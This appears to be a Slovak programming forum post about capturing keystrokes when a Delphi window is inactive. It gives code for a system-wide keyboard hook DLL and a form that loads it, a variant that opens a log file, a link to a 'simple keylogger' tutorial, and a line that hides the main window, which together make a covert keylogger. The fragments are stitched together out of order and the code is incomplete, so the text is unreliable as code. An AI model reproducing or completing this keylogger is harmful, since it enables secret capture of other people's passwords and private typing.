Delphi: ked je neaktivne okno

library Project1;

uses
  SysUtils,
  Classes,
  Windows,
  Dialogs;

{$R *.res}

var
 hHak: HHOOK;

function OdchytenieKlavesu(kodHaku: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin

  if ((lParam and $80000000) = 0) then
    ShowMessage(IntToStr(wParam));

  Result:= CallNextHookEx(hHak, kodHaku, wParam, lParam);

end;

procedure PridajHak();
begin

  hHak:= SetWindowsHookEx(WH_KEYBOARD, @OdchytenieKlavesu, HINSTANCE, 0);

end;

procedure OdstranHak();
begin

  UnhookWindowsHookEx(hHak);

end;


exports PridajHak, OdstranHak;


begin
end.

var
  Form1: TForm1;

procedure PridajHak; external 'Project1.dll';
procedure OdstranHak; external 'Project1.dll';

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  PridajHak();

end;

procedure TForm1.FormDestroy(Sender: TObject);
begin

  OdstranHak();

end;

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  hHak: HHOOK;
  txt:TextFile;


implementation

{$R *.dfm}
function OdchytenieKlavesu(kodHaku: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin

  if ((lParam and $80000000) = 0) then showmessage(chr(wParam));

  Result:= CallNextHookEx(hHak, kodHaku, wParam, lParam);

end;

procedure PridajHak();
begin

  hHak:= SetWindowsHookEx(WH_KEYBOARD, @OdchytenieKlavesu, HINSTANCE, 0);

end;

procedure OdstranHak();
begin

  UnhookWindowsHookEx(hHak);

end;



procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile(txt,'skuska.txt');
rewrite(txt);
PridajHak();
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
   OdstranHak();
   closefile(txt);
end;

end.

http://mo4x.wordpress.com/2007/03/30/simple-keylogger-in-delphi/

Application.ShowMainForm := False;